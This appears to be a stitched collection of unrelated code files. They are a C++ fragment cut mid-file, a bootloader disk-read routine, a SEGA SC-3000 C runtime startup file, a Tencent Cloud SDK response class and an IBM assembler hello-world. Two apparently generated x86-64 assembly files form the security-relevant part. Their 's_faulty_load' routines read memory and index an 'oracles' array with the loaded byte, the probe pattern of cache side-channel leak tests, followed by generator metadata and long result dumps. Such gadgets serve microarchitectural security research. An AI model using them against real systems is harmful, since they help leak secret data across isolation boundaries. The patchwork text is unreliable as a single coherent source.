}
Float64 Util::rnd_f64(void)
{
return genrand_real1();
}
|
; load DH sectors to ES:BX from drive DL
disk_load:
push dx ; Store DX on stack so later we can recall
; how many sectors were request to be read,
; even if it is altered in the meantime
mov ah, 0x02 ; BIOS read sector function
mov al, dh ; Read DH sectors
mov ch, 0x00 ; Select cylinder 0
mov dh, 0x00 ; Select head 0
mov cl, 0x02 ; Start reading from second sector (i.e.
; after the boot sector)
int 0x13 ; BIOS interrupt
jc disk_error ; Jump if error (i.e. carry flag set)
pop dx ; Restore DX from the stack
cmp dh, al ; if AL (sectors read) != DH (sectors expected)
jne disk_error ; display error message
ret
disk_error:
mov bx, DISK_ERROR_MSG
call print
jmp $
; Variables
DISK_ERROR_MSG db "Disk read error!" , 0
|
; CRT0 stub for the SEGA SC-3000
;
; Stefano Bodrato - Jun 2010
;
; $Id: sc3000_crt0.asm,v 1.4 2010/07/13 06:16:53 stefano Exp $
;
; Constants for ROM mode (-startup=2)
DEFC ROM_Start = $0000
DEFC INT_Start = $0038
DEFC NMI_Start = $0066
DEFC CODE_Start = $0100
DEFC RAM_Start = $C000
DEFC RAM_Length = $2000
DEFC Stack_Top = $dff0
MODULE sc3000_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we should do..
;
INCLUDE "zcc_opt.def"
; No matter what set up we have, main is always, always external to
; this file
XREF _main
; Some variables which are needed for both app and basic startup
XDEF cleanup
XDEF l_dcal
; Integer rnd seed
XDEF _std_seed
; vprintf is internal to this file so we only ever include one of the set
; of routines
XDEF _vfprintf
;Exit variables
XDEF exitsp
XDEF exitcount
;For stdin, stdout, stder
XDEF __sgoioblk
XDEF heaplast ;Near malloc heap variables
XDEF heapblocks
; Graphics stuff
XDEF pixelbyte ; Temp store for non-buffered mode
XDEF base_graphics
XDEF coords
; 1 bit sound status byte
XDEF snd_tick
; SEGA and MSX specific
XDEF msxbios
XDEF fputc_vdp_offs ;Current character pointer
XDEF aPLibMemory_bits;apLib support variable
XDEF aPLibMemory_byte;apLib support variable
XDEF aPLibMemory_LWM ;apLib support variable
XDEF aPLibMemory_R0 ;apLib support variable
XDEF raster_procs ;Raster interrupt handlers
XDEF pause_procs ;Pause interrupt handlers
XDEF timer ;This is incremented every time a VBL/HBL interrupt happens
XDEF _pause_flag ;This alternates between 0 and 1 every time pause is pressed
XDEF RG0SAV ;keeping track of VDP register values
XDEF RG1SAV
XDEF RG2SAV
XDEF RG3SAV
XDEF RG4SAV
XDEF RG5SAV
XDEF RG6SAV
XDEF RG7SAV
; Now, getting to the real stuff now!
;--------
; Set an origin for the application (-zorg=) default to $9817 (just after a CALL in a BASIC program)
;--------
IF (startup=2)
defc myzorg = ROM_Start
ELSE
IF !myzorg
defc myzorg = $9817
ENDIF
ENDIF
org myzorg
IF (startup=2)
; ******************** ********************
; R O M M O D E
; ******************** ********************
di
jp start
defm "Small C+ SC-3000"
filler1:
defs (INT_Start - filler1)
int_RASTER:
push hl
ld a, ($BF)
or a
jp p, int_not_VBL ; Bit 7 not set
jr int_VBL
int_not_VBL:
pop hl
reti
int_VBL:
ld hl, timer
ld a, (hl)
inc a
ld (hl), a
inc hl
ld a, (hl)
adc a, 1
ld (hl), a ;Increments the timer
ld hl, raster_procs
jr int_handler
filler2:
defs (NMI_Start - filler2)
int_PAUSE:
push hl
ld hl, _pause_flag
ld a, (hl)
xor a, 1
ld (hl), a
ld hl, pause_procs
jr int_handler
int_handler:
push af
push bc
push de
int_loop:
ld a, (hl)
inc hl
or (hl)
jr z, int_done
push hl
ld a, (hl)
dec hl
ld l, (hl)
ld h, a
call call_int_handler
pop hl
inc hl
jr int_loop
int_done:
pop de
pop bc
pop af
pop hl
ei
reti
call_int_handler:
jp (hl)
;-------
; Beginning of the actual code
;-------
filler3:
defs (CODE_Start - filler3)
start:
; Make room for the atexit() stack
ld hl,Stack_Top-64
ld sp,hl
; Clear static memory
ld hl,RAM_Start
ld de,RAM_Start+1
ld bc,RAM_Length-1
ld (hl),0
ldir
ELSE
; ******************** ********************
; B A S I C M O D E
; ******************** ********************
start:
ld hl,0
add hl,sp
ld (start1+1),hl
ld hl,-64
add hl,sp
ld sp,hl
ENDIF
; ******************** ********************
; BACK TO COMMON CODE FOR ROM AND BASIC
; ******************** ********************
ld (exitsp),sp
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
; Set up the std* stuff so we can be called again
ld hl,__sgoioblk+2
ld (hl),19 ;stdin
ld hl,__sgoioblk+6
ld (hl),21 ;stdout
ld hl,__sgoioblk+10
ld (hl),21 ;stderr
ENDIF
ENDIF
IF (startup=2)
; if ROM mode, init variables in RAM
ld hl,$8080
ld (fp_seed),hl
xor a
ld (exitcount),a
call DefaultInitialiseVDP
im 1
ei
ENDIF
; Entry to the user code
call _main
cleanup:
;
; Deallocate memory which has been allocated here!
;
push hl
IF !DEFINED_nostreams
IF DEFINED_ANSIstdio
LIB closeall
call closeall
ENDIF
ENDIF
IF (startup=2)
endloop:
jr endloop
ELSE
start1:
ld sp,0
ret
ENDIF
l_dcal:
jp (hl)
; Now, which of the vfprintf routines do we need?
_vfprintf:
IF DEFINED_floatstdio
LIB vfprintf_fp
jp vfprintf_fp
ELSE
IF DEFINED_complexstdio
LIB vfprintf_comp
jp vfprintf_comp
ELSE
IF DEFINED_ministdio
LIB vfprintf_mini
jp vfprintf_mini
ENDIF
ENDIF
ENDIF
; ---------------
; MSX specific stuff
; ---------------
; Safe BIOS call
msxbios:
push ix
ret
IF (startup=2)
DEFVARS RAM_Start
{
__sgoioblk ds.b 40 ;stdio control block
_std_seed ds.w 1 ;Integer seed
exitsp ds.w 1 ;atexit() stack
exitcount ds.b 1 ;Number of atexit() routines
pixelbyte ds.w 1
base_graphics ds.w 1
coords ds.w 1
snd_tick ds.w 1
fp_seed ds.w 3 ;Floating point seed (not used ATM)
extra ds.w 3 ;Floating point spare register
fa ds.w 3 ;Floating point accumulator
fasign ds.b 1 ;Floating point variable
heapblocks ds.w 1 ;Number of free blocks
heaplast ds.w 1 ;Pointer to linked blocks
fputc_vdp_offs ds.w 1 ;Current character pointer
aPLibMemory_bits ds.b 1 ;apLib support variable
aPLibMemory_byte ds.b 1 ;apLib support variable
aPLibMemory_LWM ds.b 1 ;apLib support variable
aPLibMemory_R0 ds.w 1 ;apLib support variable
raster_procs ds.w 8 ;Raster interrupt handlers
pause_procs ds.w 8 ;Pause interrupt handlers
timer ds.w 1 ;This is incremented every time a VBL/HBL interrupt happens
_pause_flag ds.b 1 ;This alternates between 0 and 1 every time pause is pressed
RG0SAV ds.b 1 ;keeping track of VDP register values
RG1SAV ds.b 1
RG2SAV ds.b 1
RG3SAV ds.b 1
RG4SAV ds.b 1
RG5SAV ds.b 1
RG6SAV ds.b 1
RG7SAV ds.b 1
}
IF !DEFINED_defvarsaddr
defc defvarsaddr = RAM_Start+1024
ENDIF
DEFVARS defvarsaddr
{
dummydummy ds.b 1
}
;---------------------------------
; VDP Initialization
;---------------------------------
DefaultInitialiseVDP:
push hl
push bc
ld hl,_Data
ld b,_End-_Data
ld c,$bf
otir
pop bc
pop hl
ret
DEFC SpriteSet = 0 ; 0 for sprites to use tiles 0-255, 1 for 256+
DEFC NameTableAddress = $3800 ; must be a multiple of $800; usually $3800; fills $700 bytes (unstretched)
DEFC SpriteTableAddress = $3f00 ; must be a multiple of $100; usually $3f00; fills $100 bytes
_Data:
defb @00000100,$80
; |||||||`- Disable synch
; ||||||`-- Enable extra height modes
; |||||`--- SMS mode instead of SG
; ||||`---- Shift sprites left 8 pixels
; |||`----- Enable line interrupts
; ||`------ Blank leftmost column for scrolling
; |`------- Fix top 2 rows during horizontal scrolling
; `-------- Fix right 8 columns during vertical scrolling
defb @10000100,$81
; |||| |`- Zoomed sprites -> 16x16 pixels
; |||| `-- Doubled sprites -> 2 tiles per sprite, 8x16
; |||`---- 30 row/240 line mode
; ||`----- 28 row/224 line mode
; |`------ Enable VBlank interrupts
; `------- Enable display
defb (NameTableAddress/2^10) |@11110001,$82
defb (SpriteTableAddress/2^7)|@10000001,$85
defb (SpriteSet/2^2) |@11111011,$86
defb $f|$f0,$87
; `-------- Border palette colour (sprite palette)
defb $00,$88
; ``------- Horizontal scroll
defb $00,$89
; ``------- Vertical scroll
defb $ff,$8a
; ``------- Line interrupt spacing ($ff to disable)
_End:
ELSE
defm "Small C+ SC-3000"
defb 0
; Now, define some values for stdin, stdout, stderr
__sgoioblk:
IF DEFINED_ANSIstdio
INCLUDE "stdio_fp.asm"
ELSE
defw -11,-12,-10
ENDIF
;Seed for integer rand() routines
_std_seed: defw 0
;Atexit routine
exitsp: defw 0
exitcount: defb 0
; Heap stuff
heaplast: defw 0
heapblocks: defw 0
; mem stuff
pixelbyte: defb 0
base_graphics: defw 0
coords: defw 0
snd_tick: defb 0
; imported form the pre-existing Sega Master System libs
fputc_vdp_offs: defw 0 ;Current character pointer
aPLibMemory_bits: defb 0 ;apLib support variable
aPLibMemory_byte: defb 0 ;apLib support variable
aPLibMemory_LWM: defb 0 ;apLib support variable
aPLibMemory_R0: defw 0 ;apLib support variable
raster_procs: defw 0 ;Raster interrupt handlers
pause_procs: defs 8 ;Pause interrupt handlers
timer: defw 0 ;This is incremented every time a VBL/HBL interrupt happens
_pause_flag: defb 0 ;This alternates between 0 and 1 every time pause is pressed
RG0SAV: defb 0 ;keeping track of VDP register values
RG1SAV: defb 0
RG2SAV: defb 0
RG3SAV: defb 0
RG4SAV: defb 0
RG5SAV: defb 0
RG6SAV: defb 0
RG7SAV: defb 0
;All the float stuff is kept in a different file...for ease of altering!
;It will eventually be integrated into the library
;
;Here we have a minor (minor!) problem, we've no idea if we need the
;float package if this is separated from main (we had this problem before
;but it wasn't critical..so, now we will have to read in a file from
;the directory (this will be produced by zcc) which tells us if we need
;the floatpackage, and if so what it is..kludgey, but it might just work!
;
;Brainwave time! The zcc_opt file could actually be written by the
;compiler as it goes through the modules, appending as necessary - this
;way we only include the package if we *really* need it!
IF NEED_floatpack
INCLUDE "float.asm"
;seed for random number generator - not used yet..
fp_seed: defb $80,$80,0,0,0,0
;Floating point registers...
extra: defs 6
fa: defs 6
fasign: defb 0
ENDIF
ENDIF
|
/*
* Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <tencentcloud/mna/v20210119/model/DeleteQosResponse.h>
#include <tencentcloud/core/utils/rapidjson/document.h>
#include <tencentcloud/core/utils/rapidjson/writer.h>
#include <tencentcloud/core/utils/rapidjson/stringbuffer.h>
using TencentCloud::CoreInternalOutcome;
using namespace TencentCloud::Mna::V20210119::Model;
using namespace std;
DeleteQosResponse::DeleteQosResponse() :
m_sessionIdHasBeenSet(false),
m_durationHasBeenSet(false)
{
}
CoreInternalOutcome DeleteQosResponse::Deserialize(const string &payload)
{
rapidjson::Document d;
d.Parse(payload.c_str());
if (d.HasParseError() || !d.IsObject())
{
return CoreInternalOutcome(Core::Error("response not json format"));
}
if (!d.HasMember("Response") || !d["Response"].IsObject())
{
return CoreInternalOutcome(Core::Error("response `Response` is null or not object"));
}
rapidjson::Value &rsp = d["Response"];
if (!rsp.HasMember("RequestId") || !rsp["RequestId"].IsString())
{
return CoreInternalOutcome(Core::Error("response `Response.RequestId` is null or not string"));
}
string requestId(rsp["RequestId"].GetString());
SetRequestId(requestId);
if (rsp.HasMember("Error"))
{
if (!rsp["Error"].IsObject() ||
!rsp["Error"].HasMember("Code") || !rsp["Error"]["Code"].IsString() ||
!rsp["Error"].HasMember("Message") || !rsp["Error"]["Message"].IsString())
{
return CoreInternalOutcome(Core::Error("response `Response.Error` format error").SetRequestId(requestId));
}
string errorCode(rsp["Error"]["Code"].GetString());
string errorMsg(rsp["Error"]["Message"].GetString());
return CoreInternalOutcome(Core::Error(errorCode, errorMsg).SetRequestId(requestId));
}
if (rsp.HasMember("SessionId") && !rsp["SessionId"].IsNull())
{
if (!rsp["SessionId"].IsString())
{
return CoreInternalOutcome(Core::Error("response `SessionId` IsString=false incorrectly").SetRequestId(requestId));
}
m_sessionId = string(rsp["SessionId"].GetString());
m_sessionIdHasBeenSet = true;
}
if (rsp.HasMember("Duration") && !rsp["Duration"].IsNull())
{
if (!rsp["Duration"].IsUint64())
{
return CoreInternalOutcome(Core::Error("response `Duration` IsUint64=false incorrectly").SetRequestId(requestId));
}
m_duration = rsp["Duration"].GetUint64();
m_durationHasBeenSet = true;
}
return CoreInternalOutcome(true);
}
string DeleteQosResponse::ToJsonString() const
{
rapidjson::Document value;
value.SetObject();
rapidjson::Document::AllocatorType& allocator = value.GetAllocator();
if (m_sessionIdHasBeenSet)
{
rapidjson::Value iKey(rapidjson::kStringType);
string key = "SessionId";
iKey.SetString(key.c_str(), allocator);
value.AddMember(iKey, rapidjson::Value(m_sessionId.c_str(), allocator).Move(), allocator);
}
if (m_durationHasBeenSet)
{
rapidjson::Value iKey(rapidjson::kStringType);
string key = "Duration";
iKey.SetString(key.c_str(), allocator);
value.AddMember(iKey, m_duration, allocator);
}
rapidjson::Value iKey(rapidjson::kStringType);
string key = "RequestId";
iKey.SetString(key.c_str(), allocator);
value.AddMember(iKey, rapidjson::Value().SetString(GetRequestId().c_str(), allocator), allocator);
rapidjson::StringBuffer buffer;
rapidjson::Writer<rapidjson::StringBuffer> writer(buffer);
value.Accept(writer);
return buffer.GetString();
}
string DeleteQosResponse::GetSessionId() const
{
return m_sessionId;
}
bool DeleteQosResponse::SessionIdHasBeenSet() const
{
return m_sessionIdHasBeenSet;
}
uint64_t DeleteQosResponse::GetDuration() const
{
return m_duration;
}
bool DeleteQosResponse::DurationHasBeenSet() const
{
return m_durationHasBeenSet;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1bc22, %r8
nop
cmp %r13, %r13
mov $0x6162636465666768, %rsi
movq %rsi, (%r8)
nop
nop
xor %r13, %r13
lea addresses_WC_ht+0x193fa, %rcx
clflush (%rcx)
nop
nop
nop
lfence
vmovups (%rcx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rax
nop
nop
nop
sub $6529, %rax
lea addresses_D_ht+0xe870, %r13
nop
nop
nop
nop
xor $56949, %r11
movb $0x61, (%r13)
nop
nop
nop
nop
nop
inc %r13
lea addresses_normal_ht+0x1e238, %r11
nop
nop
nop
nop
sub $38517, %rsi
and $0xffffffffffffffc0, %r11
movntdqa (%r11), %xmm0
vpextrq $1, %xmm0, %r13
and %rcx, %rcx
lea addresses_WT_ht+0xa24e, %r13
nop
nop
cmp %r11, %r11
vmovups (%r13), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rbp
nop
nop
nop
dec %rbp
lea addresses_UC_ht+0x1bc8, %rax
nop
nop
xor $20225, %r8
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
vmovups %ymm1, (%rax)
nop
add %r11, %r11
lea addresses_WT_ht+0x14569, %r11
clflush (%r11)
nop
nop
nop
xor %rbp, %rbp
mov $0x6162636465666768, %r8
movq %r8, %xmm0
vmovups %ymm0, (%r11)
nop
nop
sub $7898, %rsi
lea addresses_A_ht+0x1cb8c, %r11
nop
nop
nop
cmp $14359, %rcx
mov (%r11), %r8w
nop
cmp $2849, %rax
lea addresses_normal_ht+0x3144, %rsi
lea addresses_WT_ht+0xb0f4, %rdi
nop
nop
nop
nop
dec %r13
mov $41, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $28049, %rsi
lea addresses_UC_ht+0x1b680, %rdi
nop
nop
nop
xor $22228, %r8
mov $0x6162636465666768, %r13
movq %r13, (%rdi)
cmp %rdi, %rdi
lea addresses_WC_ht+0x15f24, %r8
nop
nop
nop
and $1466, %r13
mov (%r8), %bp
nop
nop
nop
nop
nop
xor $12325, %r11
lea addresses_normal_ht+0x1bf74, %r11
nop
nop
nop
nop
nop
mfence
mov $0x6162636465666768, %rax
movq %rax, (%r11)
dec %rsi
lea addresses_D_ht+0x3e24, %rsi
lea addresses_UC_ht+0xf024, %rdi
nop
nop
nop
sub %r8, %r8
mov $44, %rcx
rep movsq
nop
nop
nop
nop
inc %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r8
push %rbx
push %rdi
push %rsi
// Store
lea addresses_WC+0x18824, %r12
nop
nop
nop
nop
nop
sub %r8, %r8
mov $0x5152535455565758, %rdi
movq %rdi, (%r12)
nop
nop
nop
sub %rsi, %rsi
// Store
lea addresses_D+0x16c24, %rbx
nop
nop
nop
nop
sub %r13, %r13
mov $0x5152535455565758, %r8
movq %r8, %xmm5
movups %xmm5, (%rbx)
and %r10, %r10
// Store
mov $0xfa4, %r13
nop
xor %r12, %r12
mov $0x5152535455565758, %rsi
movq %rsi, (%r13)
nop
nop
nop
xor $47015, %rdi
// Faulty Load
lea addresses_WC+0x18824, %rsi
nop
nop
xor %r10, %r10
vmovups (%rsi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %r12
lea oracles, %r8
and $0xff, %r12
shlq $12, %r12
mov (%r8,%r12,1), %r12
pop %rsi
pop %rdi
pop %rbx
pop %r8
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': True, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': True, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 4}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': True, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': True, 'AVXalign': False, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 11}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
HELLO CSECT
USING *,15
STM 14,12,12(13)
LR 12,15
USING HELLO,12
WTO 'HI'
XR 15,15
RETURN (14,12)
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x5154, %rbx
nop
dec %rbp
movups (%rbx), %xmm7
vpextrq $0, %xmm7, %rdi
nop
dec %rdi
lea addresses_UC_ht+0x798c, %rsi
lea addresses_D_ht+0x17f8c, %rdi
nop
nop
nop
nop
dec %rbx
mov $11, %rcx
rep movsq
nop
nop
nop
nop
nop
and $59069, %rdi
lea addresses_WT_ht+0x10cac, %rsi
lea addresses_A_ht+0x25ac, %rdi
clflush (%rsi)
nop
nop
nop
sub $38871, %r10
mov $33, %rcx
rep movsl
cmp $34638, %rsi
lea addresses_D_ht+0x51fc, %rcx
nop
nop
nop
cmp %r9, %r9
mov (%rcx), %rsi
nop
dec %rcx
lea addresses_normal_ht+0x15b2c, %rcx
nop
nop
sub %rsi, %rsi
mov (%rcx), %r9w
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r8
push %r9
push %rbp
push %rcx
// Store
lea addresses_A+0x86c0, %r14
clflush (%r14)
nop
nop
nop
add %rcx, %rcx
movb $0x51, (%r14)
nop
nop
nop
nop
add $19998, %r8
// Store
lea addresses_PSE+0x1b55c, %rbp
nop
nop
dec %r11
movw $0x5152, (%rbp)
nop
and %r10, %r10
// Faulty Load
lea addresses_WT+0x4b2c, %rbp
clflush (%rbp)
nop
nop
sub $26208, %r8
mov (%rbp), %r11w
lea oracles, %rcx
and $0xff, %r11
shlq $12, %r11
mov (%rcx,%r11,1), %r11
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': True, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 